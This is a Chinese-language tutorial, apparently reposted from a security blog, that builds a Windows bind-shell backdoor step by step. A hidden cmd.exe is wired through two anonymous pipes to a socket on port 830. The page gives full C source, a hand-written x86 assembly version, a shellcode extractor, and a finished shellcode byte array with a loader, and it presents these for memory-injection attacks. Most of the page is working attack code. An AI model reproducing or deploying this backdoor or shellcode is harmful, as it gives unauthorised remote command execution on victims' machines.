主頁 > 企業開發 > 1.6 撰寫雙管道ShellCode后門

1.6 撰寫雙管道ShellCode后門

2023-07-05 08:34:21 企業開發

本文將介紹如何將CMD系結到雙向管道上,這是一種常用的黑客反彈技巧,可以讓用戶在命令列界面下與其他程式進行互動,我們將從創建管道、啟動行程、傳輸資料等方面對這個功能進行詳細講解,此外,本文還將通過使用匯編語言一步步來實作這個可被注入的ShellCode后門,并以此提高代碼通用性,最終,我們將通過一個實際的漏洞攻擊場景來展示如何利用這個后門實作記憶體注入攻擊,

1.6.1 什么是匿名管道

首先管道(Pipe)是一種IPC機制,用于在同一臺計算機上進行行程間通信,它可以讓一個行程將資料寫入到管道中,然后另一個行程可以從管道中讀取這些資料,一般而言管道可以分為匿名管道(Anonymous Pipe)或命名管道(Named Pipe)兩種形式,

  • 匿名管道是一種臨時的管道,只能用于父子行程之間或兄弟行程之間的通信,它是一個雙向的、無名的、半雙工的通道,只能在創建它的行程及其子行程之間進行通信,
  • 命名管道是一種具有名稱的管道,可以用于在不同的行程之間進行通信,命名管道可以在不同的行程之間共享,并可以在多個行程之間傳遞資料,它可以是單向的或雙向的,可以使用同步或異步方式進行通信,

在實作中,管道通常是由作業系統提供的一段共享記憶體區域,在管道創建時,作業系統會為管道分配一段記憶體區域,該記憶體區域由創建管道的行程和與其通信的行程共享,當行程往管道中寫入資料時,資料會被存盤在管道的記憶體緩沖區中,然后等待另一個行程從管道中讀取資料,當另一個行程讀取管道中的資料時,資料將從記憶體緩沖區中被讀取并且被洗掉,從而保證資料傳輸的正確性和可靠性,

有了管道的支持,我們向其他行程傳輸資料時就可像對普通檔案讀寫那樣簡單,管道操作的識別符號是HANDLE句柄,當管道被正確創建時則,我們可以直接使用ReadFile、WriteFile等檔案讀寫函式來讀寫它,讀者無需了解網路間行程間通信的細節部分;

一般匿名管道的創建需要呼叫CreatePipe()函式實作,它可以創建一個管道,并回傳兩個句柄,一個用于讀取管道資料,另一個用于寫入管道資料,

CreatePipe函式的語法如下:

BOOL CreatePipe(
  PHANDLE hReadPipe,                      // 讀取管道資料的句柄指標
  PHANDLE hWritePipe,                     // 寫入管道資料的句柄指標
  LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全屬性結構的指標
  DWORD nSize                             // 管道緩沖區大小,若為0則使用默認大小
);

其中,hReadPipehWritePipePHANDLE型別的指標,用于接收讀取和寫入管道的句柄,lpPipeAttributes是指向SECURITY_ATTRIBUTES結構的指標,用于指定管道的安全屬性,通常設定為NULLnSize是管道緩沖區的大小,若為0則使用默認大小,在使用CreatePipe函式創建匿名管道后,讀者可以使用WriteFile函式往管道中寫入資料,也可以使用ReadFile函式從管道中讀取資料,讀取和寫入管道的操作需要使用相應的句柄,


小提示:匿名管道只能在具有親緣關系的行程之間使用,即父子行程或兄弟行程,通過設定CreateProcess函式中的bInheritHandles屬性為True則可實作父子行程,如果需要在不同的行程之間使用管道進行通信,則應該使用命名管道,


接著來簡單介紹一下CreateProcess函式,該函式用于創建一個新的行程,回傳值非0表示成功,為0表示失敗,為了讓2個行程產生父子及繼承關系,引數bInheritHandles應設定為True,該函式的原型如下所示;

BOOL CreateProcess(
  LPCWSTR               lpApplicationName,  // 可執行檔案名或者命令列
  LPWSTR                lpCommandLine,      // 命令列引數
  LPSECURITY_ATTRIBUTES lpProcessAttributes,// 行程安全屬性
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // 執行緒安全屬性
  BOOL                  bInheritHandles,    // 是否繼承父行程的句柄
  DWORD                 dwCreationFlags,    // 行程創建標志
  LPVOID                lpEnvironment,      // 新行程的環境塊指標
  LPCWSTR               lpCurrentDirectory, // 新行程的作業目錄
  LPSTARTUPINFO         lpStartupInfo,      // STARTUPINFO 結構體指標
  LPPROCESS_INFORMATION lpProcessInformation// PROCESS_INFORMATION 結構體指標
);

實作匿名管道通信,我們還需要了解最后一個函式PeekNamedPipe,該函式用于檢查命名管道中的是否有資料,函式回傳值為BOOL型別,如果函式呼叫成功,則回傳TRUE,否則回傳FALSE

該函式的原型定義如下所示;

BOOL PeekNamedPipe(
  HANDLE  hNamedPipe,        // 命名管道的句柄
  LPVOID  lpBuffer,          // 存盤讀取資料的緩沖區
  DWORD   nBufferSize,       // 緩沖區的大小
  LPDWORD lpBytesRead,       // 實際讀取的位元組數
  LPDWORD lpTotalBytesAvail, // 管道中可用的位元組數
  LPDWORD lpBytesLeftThisMessage // 下一條訊息剩余的位元組數
);

在呼叫成功的情況下,lpBytesRead引數回傳實際讀取的位元組數,lpTotalBytesAvail引數回傳管道中可用的位元組數,lpBytesLeftThisMessage引數回傳下一條訊息剩余的位元組數,如果命名管道為空,則函式會阻塞等待資料到來,當接收到資料時則讀者即可通過呼叫ReadFile在管道中讀取資料,或呼叫WriteFile來向管道寫入資料,至此關鍵的API函式已經介紹完了;

1.6.2 C語言實作雙管道后門

其實匿名管道反彈CMD的作業原理可以理解為,首先攻擊機發命令并通過Socket傳給目標機的父行程,目標機的父行程又通過一個匿名管道傳給子行程,這里的子行程是cmd.exe,CMD執行命令后,把結果通過另一個匿名管道返給父行程,父行程最后再通過Socket回傳給攻擊機,以此則實作了反彈Shell的目的;

接著我們就來實作這個雙向匿名管道功能,在實作管道之前需要先建立套接字,首先使用WSAStartup函式初始化Winsock庫,并使用socket函式創建一個套接字,然后,使用bind函式將套接字系結到特定的IP地址和埠號,listen函式將套接字設定為偵聽傳入的連接,而accept函式會一直阻塞直到建立客戶端連接,一旦連接建立,代碼會回傳客戶端的套接字描述符clientFD,

WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;

// 初始化網路通信庫
WSAStartup(MAKEWORD(2, 2), &ws);

// 建立Socket套接字
listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

// 配置通信協議屬性,并監聽本機830埠
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = ADDR_ANY;

// 開始系結套接字
ret = bind(listenFD, (sockaddr *)&server, sizeof(server));

// 偵聽套接字鏈接
ret = listen(listenFD, 2);

// 接受一個連接
int iAddrSize = sizeof(server);
SOCKET clientFD = accept(listenFD, (sockaddr *)&server, &iAddrSize);

有了套接字功能,則第二步需要創建兩個PIPE管道,其中第一個管道用于輸出執行結果,第二個管道用于輸入命令,把CMD子行程輸出句柄用管道1的寫句柄替換,此時主行程就可以通過讀管道1的讀句柄來獲得輸出;另外,我們還要把CMD子行程的輸入句柄用2的讀句柄替換,此時主行程就可以通過寫管道2的寫句柄來輸入命令,

其通信程序如下:

  • (遠程主機)←輸入←管道1輸出←管道1輸入←輸出(CMD子行程)
  • (遠程主機)→輸出→管道2輸入→管道2輸出→輸入(CMD子行程)
SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;
    
// 建立匿名管道1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
    
// 建立匿名管道2
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);

為了得到上述系結效果,我們在設定CMD子行程STARTUPINFO啟動引數時就應該做好系結作業,通過填入如下所示的變數值,并呼叫CreateProcess實作對行程的系結,通過替換行程的輸出句柄為管道1的寫句柄,輸入句柄為管道2的讀句柄,最后再開啟CMD命令就實作了系結功能,代碼如下所示;

// 填充所需引數實作子行程與主行程通信
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
    
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;

// 建立行程系結引數
ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);

當CMD子行程啟動后,則下一步則是和遠程攻擊機之間建立通信,如下代碼通過使用PeekNamedPiperecv函式不斷檢查從遠程客戶端或CMD行程接收到的資料,如果從CMD行程中有可讀資料,則使用ReadFile函式讀取該資料并使用send函式發送回遠程客戶端,如果沒有資料可讀,則程式接收從遠程客戶端發來的命令,并將命令寫入管道2,即傳給CMD行程,這個程序不斷回圈執行,直到出現錯誤或收到退出命令,

unsigned long lBytesRead;
while (1)
{
    // 檢查管道1 即CMD行程是否有輸出
    ret = PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
    if (lBytesRead)
    {
        //管道1有輸出 讀出結果發給遠程客戶機
        ret = ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);
        if (!ret)
        {
            break;
        }

        ret = send(clientFD, Buff, lBytesRead, 0);
        if (ret <= 0)
        {
            break;
        }
    }
    else
    {
        // 否則接收遠程客戶機的命令
        lBytesRead = recv(clientFD, Buff, 1024, 0);
        if (lBytesRead <= 0)
        {
            break;
        }
        // 將命令寫入管道2 即傳給cmd行程
        ret = WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);
        if (!ret)
        {
            break;
        }
    }
}

如上代碼所示就是完整的雙向匿名管道的實作原理,我們通過整合并編譯,打開編譯后的可執行程式,此時讀者可使用netcat工具執行nc 127.0.0.1 830則可連接到該后門內部,并以此獲得一個Shell后門,此時讀者可執行任意命令,輸出效果如下圖所示;

1.6.3 匯編實作并提取ShellCode

在之前文章中我們介紹了如何使用C語言創建一個雙管道通信后門,而對于在實戰中,往往需要直接注入后門到記憶體,此時將后門轉換為ShellCode是一個不錯的選擇,首先為了保證文章的篇幅不宜過長,此處暫且不考慮生成匯編代碼的通用性,首先我們需要得到在當前系統中所需要使用的函式的動態地址,至于如何提取這些動態地址,在之前的文章通用ShellCode提取中有過詳細的介紹,此處我們就直接給出實作代碼;

#include <Windows.h>
#include <iostream>

typedef void(*MyProcess)(LPSTR);

int main(int argc, char *argv[])
{
    HINSTANCE KernelHandle;
    HINSTANCE WS2Handle;
    MyProcess ProcAddr;

    KernelHandle = LoadLibrary(L"kernel32");
    printf("kernel32 address = 0x%x\n", KernelHandle);

    WS2Handle = LoadLibrary(L"ws2_32");
    printf("ws2_32 address = 0x%x\n\n", WS2Handle);

    CHAR *FuncList[13] =
    {
        "CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess",
        "WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"
    };

    for (size_t i = 0; i < 13; i++)
    {
        if (i < 6)
        {
            // 輸出kerlen32中的引數
            ProcAddr = (MyProcess)GetProcAddress(KernelHandle, FuncList[i]);
            printf("%s = 0x%x \n", FuncList[i], ProcAddr);
        }
        else
        {
            // 輸出ws2中的引數
            ProcAddr = (MyProcess)GetProcAddress(WS2Handle, FuncList[i]);
            printf("%s = 0x%x \n", FuncList[i], ProcAddr);
        }
    }

    system("pause");
    return 0;
}

當讀者運行這段程式時,則會輸出kernel32.dllws2_32.dll的模塊基址,同時還會輸出"CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess","WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"這些我們所需要的函式的記憶體地址,輸出效果如下圖所示;

接著我們需要將這些函式記憶體地址依次填充到匯編代碼中,將其動態壓入堆疊保存,如下是筆者填充過的匯編代碼片段,此處的十六進制數讀者電腦中的與筆者一定不一致,請讀者自行替換即可;

mov eax,0x763e2d70
mov [ebp+4],  eax;   CreatePipe
mov eax,0x763e2d90
mov  [ebp+8],  eax;  CreateProcessA
mov eax,0x763e4140
mov  [ebp+12], eax;  PeekNamedPipe
mov eax,0x763d35b0
mov  [ebp+16], eax;  WriteFile
mov eax,0x763d34c0
mov  [ebp+20], eax;  ReadFile
mov eax,0x763d4100
mov  [ebp+24], eax;  ExitProcess
mov eax,0x76c29cc0
mov  [ebp+28], eax;  WSAStartup
mov eax,0x76c2c990
mov  [ebp+32], eax;  socket
mov eax,0x76c2d890
mov  [ebp+36], eax;  bind
mov eax,0x76c35d90
mov  [ebp+40], eax;  listen
mov eax,0x76c369c0
mov  [ebp+44], eax;  accept
mov eax,0x76c358a0
mov  [ebp+48], eax;  send
mov eax,0x76c323a0
mov  [ebp+52], eax;  recv

小提示:STDcall是一種呼叫約定,用于指定函式引數的傳遞方式、函式回傳值的處理方式以及函式呼叫后堆疊的清理方式,它在Windows平臺上廣泛使用,該呼叫規定,函式的引數從右到左依次入堆疊,函式回傳值存盤在EAX暫存器中,在函式呼叫后,由呼叫方負責清理堆疊上的引數,因此被呼叫函式不需要執行額外的堆疊清理操作,


在源程式的第一句指令,是執行WSAStartup(0x202, &ws),我們按照32位下函式的STDCALL呼叫規范,首先將引數從右至左依次壓入堆疊中,其中該函式的第二個引數&ws表示一個地址,因為WS地址已經不再使用了,所以此處我們就隨意壓入一個地址即可(比如ESP的值),第一個引數時0x202則此時我們直接使用push 0x202壓入,至此函式的引數已經填充完畢了,接下來則是呼叫該函式,因WSAStartup的地址保存在[ebp+28]中,所以我們通過call [ebp+28]就可以呼叫到該地址啦,

push esp
push 0x202
call [ebp + 28]      // WSAStartup地址

接著是原程式中的第二個函式Socket(2,1,6)讀者需要先將6、1、2依次入堆疊,最后再call socket的地址,也就是呼叫[ebp + 32]即可實作呼叫,

; socket(2,1,6)
push 6
push 1
push 2
call [ebp + 32]
mov ebx, eax       // 將套接字保存到EBX中

讀者是否會有疑問,此處為什么會傳遞這些引數呢,讀者可在源程式的開頭位置設定斷點,并打開反匯編視窗,觀察建立Socket的引數傳遞情況,即可一目了然;

接著我們繼續提取第三個關鍵函式Bind()系結函式,相比于前兩個函式而言,系結函式要顯得更加復雜一些,原因是該函式需要填充一個sockaddr_in的結構體變數,所以在填充引數之前還需要具體分析;

struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

我們還是借助VS工具,在bind()函式上下斷點,并打開反匯編視窗(Ctrl+Alt+D),觀察編譯器是如何編譯處理的,如下圖所示;

高級語言執行bind時,首先是將0x10入堆疊,說明sizeof(server)的引數傳遞其實就是0x10

第二個引數&serversockaddr_in結構的地址,在sockaddr_in結構中,包括了系結的協議、IP、埠號等值,和在堆疊中構造字串一樣,我們也在堆疊中構造出sockaddr_in的結構,那么esp就是sockaddr_in結構的地址了,

為了能夠更好的提取到第二個引數的壓入資訊,我們需要將除錯器運行到listen(listenFD, 2)處,并打開記憶體視窗,輸出&server跳轉到當前結構體填充位置處,讀者可看到如下記憶體資料;

從上圖中可看出,如下執行后其實就是得到了02 00 03 3E 00 00 00 00,知道了確切要賦的值,我們就依葫蘆畫瓢,開始壓堆疊push 0x0000,push 0x0000,push 0x3E030002此時我們就在堆疊中構造出了sockaddr_in結構的值,而且esp就正好是結構的地址,我們把它保存給esi作為第二個引數壓入堆疊,

好了,剩下就簡單了,最后一個引數是socket,上面執行了socket()后,我們把socket的值保存在了ebx中,所以將ebx壓入就可以了,最后call呼叫函式,bind函式地址存放在[ebp + 36]中,將這段匯編代碼結合起來就像如下所示,

; bind(listenFD,(sockaddr *)&server,sizeof(server));
xor edi,edi                    // 先構造server
push edi
push edi
mov eax,0x3E030002

; port 830 AF_INET
push eax
mov esi, esp                   // 把server地址賦給esi
push 0x10                       ; length
push esi                        ; &server
push ebx                        ; socket
call [ebp + 36]                 ; bind

好了根據上述方法,讀者需要依次跟蹤代碼執行流程,并嫁給你所需要的引數依次提取出來,最終將這些引陣列合在一起,即可得到如下方所示的一段匯編代碼片段;

#include <Windows.h>
#include <iostream>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");
    LoadLibrary("ws2_32.dll");

    __asm
    {
            push ebp;
            sub  esp, 80;
            mov  ebp, esp;

        // 替換所需函式地址
            mov eax, 0x763e2d70
            mov[ebp + 4], eax;   CreatePipe
            mov eax, 0x763e2d90
            mov[ebp + 8], eax;  CreateProcessA
            mov eax, 0x763e4140
            mov[ebp + 12], eax;  PeekNamedPipe
            mov eax, 0x763d35b0
            mov[ebp + 16], eax;  WriteFile
            mov eax, 0x763d34c0
            mov[ebp + 20], eax;  ReadFile
            mov eax, 0x763d4100
            mov[ebp + 24], eax;  ExitProcess
            mov eax, 0x76c29cc0
            mov[ebp + 28], eax;  WSAStartup
            mov eax, 0x76c2c990
            mov[ebp + 32], eax;  socket
            mov eax, 0x76c2d890
            mov[ebp + 36], eax;  bind
            mov eax, 0x76c35d90
            mov[ebp + 40], eax;  listen
            mov eax, 0x76c369c0
            mov[ebp + 44], eax;  accept
            mov eax, 0x76c358a0
            mov[ebp + 48], eax;  send
            mov eax, 0x76c323a0
            mov[ebp + 52], eax;  recv

            mov eax, 0x0
            mov[ebp + 56], 0
            mov[ebp + 60], 0
            mov[ebp + 64], 0
            mov[ebp + 68], 0
            mov[ebp + 72], 0

        LWSAStartup:
        ; WSAStartup(0x202, DATA)

            sub esp, 400
            push esp
            push 0x202
            call[ebp + 28]

        socket:

            ; socket(2, 1, 6)
                push 6
                push 1
                push 2
                call[ebp + 32]
                mov ebx, eax; save socket to ebx

            LBind :

            ; bind(listenFD, (sockaddr *)&server, sizeof(server));
                xor edi, edi
                push edi
                push edi
                mov eax, 0x3E030002
                push  eax; port 830  AF_INET
                mov esi, esp

                push  0x10; length
                push esi; &server
                push ebx; socket
                call[ebp + 36]; bind

            LListen :

            ; listen(listenFD, 2)
                inc edi
                inc edi
                push edi; 2
                push ebx; socket
                call[ebp + 40]; listen

            LAccept :
            ; accept(listenFD, (sockaddr *)&server, &iAddrSize)
                push 0x10
                lea  edi, [esp]
                push edi
                push esi; &server
                push ebx; socket
                call[ebp + 44]; accept
                mov ebx, eax; save newsocket to ebx

            Createpipe1 :
            ; CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
                xor edi, edi
                inc edi
                push edi
                xor edi, edi
                push edi
                push 0xc; pipeattr

                mov esi, esp

                push edi; 0
                push esi; pipeattr1
                lea eax, [ebp + 60]; &hWritePipe1
                push eax
                lea eax, [ebp + 56]; &hReadPipe1
                push eax
                call[ebp + 4]

            CreatePipe2:
                ; CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);
                    push edi; 0
                    push esi; pipeattr2
                    lea eax, [ebp + 68]; hWritePipe2
                    push eax
                    lea eax, [ebp + 64]; hReadPipe2
                    push eax
                    call[ebp + 4]

                CreateProcess:
                    ; ZeroMemory TARTUPINFO, 10h  PROCESS_INFORMATION  44h
                        sub esp, 0x80
                        lea edi, [esp]
                        xor eax, eax
                        push  0x80
                        pop ecx
                        rep stosd
                        ; si.dwFlags
                        lea edi, [esp]
                        mov eax, 0x0101
                        mov[edi + 2ch], eax;

                    ; si.hStdInput = hReadPipe2 ebp + 64
                        mov eax, [ebp + 64]
                        mov[edi + 38h], eax

                        ; si.hStdOutput si.hStdError = hWritePipe1 ebp + 60
                        mov eax, [ebp + 60]
                        mov[edi + 3ch], eax
                        mov eax, [ebp + 60]
                        mov[edi + 40h], eax

                        ; cmd.exe
                        mov eax, 0x00646d63
                        mov[edi + 64h], eax; cmd

                        ; CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation)
                        lea eax, [esp + 44h]

                        push eax; &pi
                        push edi; &si
                        push ecx; 0
                        push ecx; 0
                        push ecx; 0
                        inc  ecx
                        push ecx; 1
                        dec  ecx
                        push ecx; 0
                        push ecx; 0
                        lea eax, [edi + 64h]; "cmd"
                        push eax
                        push ecx; 0
                        call[ebp + 8]
                    loop1:

                        ; while1
                            ; PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
                            sub esp, 400h;
                            mov esi, esp; esi = Buff
                            xor ecx, ecx
                            push ecx; 0
                            push ecx; 0
                            lea edi, [ebp + 72]; &lBytesRead
                            push edi
                            mov eax, 400h
                            push eax; 1024
                            push esi; Buff
                            mov eax, [ebp + 56]
                            push eax; hReadPipe1
                            call[ebp + 12]
                            mov eax, [edi]
                            test eax, eax
                            jz recv_command

                        send_result :

                        ; ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0)
                            xor ecx, ecx
                            push ecx; 0
                            push edi; &lBytesRead
                            push[edi]; hReadPipe1
                            push esi; Buff
                            push[ebp + 56]; hReadPipe1
                            call[ebp + 20]

                            ; send(clientFD, Buff, lBytesRead, 0)
                            xor ecx, ecx
                            push ecx; 0
                            push[edi]; lBytesRead
                            push esi; Buff
                            push ebx; clientFD
                            call[ebp + 48]
                            jmp loop1

                        recv_command :

                        ; recv(clientFD, Buff, 1024, 0)

                            xor ecx, ecx
                            push ecx
                            mov eax, 400h
                            push eax
                            push esi
                            push ebx
                            call[ebp + 52]
                            //lea ecx,[edi]
                            mov[edi], eax

                            ; WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0)
                            xor ecx, ecx
                            push ecx
                            push edi
                            push[edi]
                            push esi
                            push[ebp + 68]
                            call[ebp + 16]

                            jmp loop1
                        end :
    }
    system("pause");
    return 0;
}

接下來則是提取特征碼,提取時讀者可以使用如下程式實作,將上方匯編代碼放入到ShellCodeStart-ShellCodeEnd區域內,運行后則可提取出特定特征碼引數;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[])
{
    DWORD Start, End, Len;
    goto GetShellCode;
    __asm
    {
    ShellCodeStart:
            xor eax, eax
            xor ebx, ebx
            xor ecx, ecx
            xor edx, edx
            int 3
    ShellCodeEnd:
    }

GetShellCode:
    __asm
    {
        mov Start, offset ShellCodeStart
        mov End, offset ShellCodeEnd
    }

    Len = End - Start;
    unsigned char* newBuffer = new unsigned char[Len + 1024];

    memset(newBuffer, 0, Len + 1024);
    memcpy(newBuffer, (unsigned char*)Start, Len);

    for (size_t i = 0; i < Len; i++)
    {
        printf("\\x%x", newBuffer[i]);
    }

    // 直接寫出二進制
    /*
    FILE* fp_bin = fopen("d://shellcode.bin", "wb+");
    fwrite(newBuffer, Len, 1, fp_bin);
    _fcloseall();

    // 寫出Unicode格式ShellCode
    FILE *fp_uncode = fopen("c://un_ShellCode.txt", "wb+");
    for (int x = 0; x < Len; x++)
    {
    fprintf(fp_uncode, "%%u%02x%02x", newBuffer[x + 1], newBuffer[x]);
    }
    _fcloseall();
    */

    system("pause");
    return 0;
}

運行后,則可自動提取出特征碼,如下圖所示;

至此請讀者自行將上述ShellCode代碼替換之如下測驗框架中測驗;

#include <stdio.h>
#include <Windows.h>

unsigned char ShellCode[] = 
"\x55\x83\xec\x50\x8b\xec\xb8\x70\x2d\x3e\x76\x89\x45\x4\xb8\x90\x2d\x3e\x76"
"\x89\x45\x8\xb8\x40\x41\x3e\x76\x89\x45\xc\xb8\xb0\x35\x3d\x76\x89\x45"
"\x10\xb8\xc0\x34\x3d\x76\x89\x45\x14\xb8\x0\x41\x3d\x76\x89\x45\x18\xb8\xc0\x9c\xc2"
"\x76\x89\x45\x1c\xb8\x90\xc9\xc2\x76\x89\x45\x20\xb8\x90\xd8\xc2\x76\x89\x45\x24\xb8"
"\x90\x5d\xc3\x76\x89\x45\x28\xb8\xc0\x69\xc3\x76\x89\x45\x2c\xb8\xa0\x58\xc3\x76\x89"
"\x45\x30\xb8\xa0\x23\xc3\x76\x89\x45\x34\xb8\x0\x0\x0\x0\xc6\x45\x38\x0\xc6\x45\x3c"
"\x0\xc6\x45\x40\x0\xc6\x45\x44\x0\xc6\x45\x48\x0\x81\xec\x90\x1\x0\x0\x54\x68\x2\x2"
"\x0\x0\xff\x55\x1c\x6a\x6\x6a\x1\x6a\x2\xff\x55\x20\x8b\xd8\x33\xff\x57\x57\xb8\x2\x0"
"\x3\x3e\x50\x8b\xf4\x6a\x10\x56\x53\xff\x55\x24\x47\x47\x57\x53\xff\x55\x28\x6a\x10\x8d"
"\x3c\x24\x57\x56\x53\xff\x55\x2c\x8b\xd8\x33\xff\x47\x57\x33\xff\x57\x6a\xc\x8b\xf4\x57\x56"
"\x8d\x45\x3c\x50\x8d\x45\x38\x50\xff\x55\x4\x57\x56\x8d\x45\x44\x50\x8d\x45\x40\x50\xff\x55"
"\x4\x81\xec\x80\x0\x0\x0\x8d\x3c\x24\x33\xc0\x68\x80\x0\x0\x0\x59\xf3\xab\x8d\x3c\x24\xb8"
"\x1\x1\x0\x0\x89\x47\x2c\x8b\x45\x40\x89\x47\x38\x8b\x45\x3c\x89\x47\x3c\x8b\x45\x3c\x89\x47"
"\x40\xb8\x63\x6d\x64\x0\x89\x47\x64\x8d\x44\x24\x44\x50\x57\x51\x51\x51\x41\x51\x49\x51\x51"
"\x8d\x47\x64\x50\x51\xff\x55\x8\x81\xec\x0\x4\x0\x0\x8b\xf4\x33\xc9\x51\x51\x8d\x7d\x48\x57"
"\xb8\x0\x4\x0\x0\x50\x56\x8b\x45\x38\x50\xff\x55\xc\x8b\x7\x85\xc0\x74\x19\x33\xc9\x51\x57"
"\xff\x37\x56\xff\x75\x38\xff\x55\x14\x33\xc9\x51\xff\x37\x56\x53\xff\x55\x30\xeb\xc3\x33\xc9"
"\x51\xb8\x0\x4\x0\x0\x50\x56\x53\xff\x55\x34\x89\x7\x33\xc9\x51\x57\xff\x37\x56\xff\x75\x44"
"\xff\x55\x10\xeb\xa4";

int main(int argc, char* argv[])
{
    LoadLibrary("kernel32.dll");
    LoadLibrary("ws2_32.dll");

    __asm
    {
        lea eax, ShellCode
        call eax
    }

    system("pause");
    return 0;
}

當讀者運行該程式時,則會彈出服務端請求網路創建功能,此時我們的ShellCode就算成功提取出來了,輸出效果圖如下所示;

文章作者:lyshark (王瑞)
文章出處:https://www.cnblogs.com/LyShark/p/17524996.html
本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/556606.html

標籤:其他

上一篇:ArcMap鑲嵌資料集的創建、資料匯入與資料范圍修改方法

下一篇:返回列表

標籤雲
其他(162077) Python(38266) JavaScript(25522) Java(18289) C(15238) 區塊鏈(8275) C#(7972) AI(7469) 爪哇(7425) MySQL(7285) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5876) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4610) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2438) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) HtmlCss(1987) .NET技术(1985) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1882) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • IEEE1588PTP在數字化變電站時鐘同步方面的應用

    IEEE1588ptp在數字化變電站時鐘同步方面的應用 京準電子科技官微——ahjzsz 一、電力系統時間同步基本概況 隨著對IEC 61850標準研究的不斷深入,國內外學者提出基于IEC61850通信標準體系建設數字化變電站的發展思路。數字化變電站與常規變電站的顯著區別在于程序層傳統的電流/電壓互 ......

    uj5u.com 2020-09-10 03:51:52 more
  • HTTP request smuggling CL.TE

    CL.TE 簡介 前端通過Content-Length處理請求,通過反向代理或者負載均衡將請求轉發到后端,后端Transfer-Encoding優先級較高,以TE處理請求造成安全問題。 檢測 發送如下資料包 POST / HTTP/1.1 Host: ac391f7e1e9af821806e890 ......

    uj5u.com 2020-09-10 03:52:11 more
  • 網路滲透資料大全單——漏洞庫篇

    網路滲透資料大全單——漏洞庫篇漏洞庫 NVD ——美國國家漏洞庫 →http://nvd.nist.gov/。 CERT ——美國國家應急回應中心 →https://www.us-cert.gov/ OSVDB ——開源漏洞庫 →http://osvdb.org Bugtraq ——賽門鐵克 →ht ......

    uj5u.com 2020-09-10 03:52:15 more
  • 京準講述NTP時鐘服務器應用及原理

    京準講述NTP時鐘服務器應用及原理京準講述NTP時鐘服務器應用及原理 安徽京準電子科技官微——ahjzsz 北斗授時原理 授時是指接識訓通過某種方式獲得本地時間與北斗標準時間的鐘差,然后調整本地時鐘使時差控制在一定的精度范圍內。 衛星導航系統通常由三部分組成:導航授時衛星、地面檢測校正維護系統和用戶 ......

    uj5u.com 2020-09-10 03:52:25 more
  • 利用北斗衛星系統設計NTP網路時間服務器

    利用北斗衛星系統設計NTP網路時間服務器 利用北斗衛星系統設計NTP網路時間服務器 安徽京準電子科技官微——ahjzsz 概述 NTP網路時間服務器是一款支持NTP和SNTP網路時間同步協議,高精度、大容量、高品質的高科技時鐘產品。 NTP網路時間服務器設備采用冗余架構設計,高精度時鐘直接來源于北斗 ......

    uj5u.com 2020-09-10 03:52:35 more
  • 詳細解讀電力系統各種對時方式

    詳細解讀電力系統各種對時方式 詳細解讀電力系統各種對時方式 安徽京準電子科技官微——ahjzsz,更多資料請添加VX 衛星同步時鐘是我京準公司開發研制的應用衛星授時時技術的標準時間顯示和發送的裝置,該裝置以M國全球定位系統(GLOBAL POSITIONING SYSTEM,縮寫為GPS)或者我國北 ......

    uj5u.com 2020-09-10 03:52:45 more
  • 如何保證外包團隊接入企業內網安全

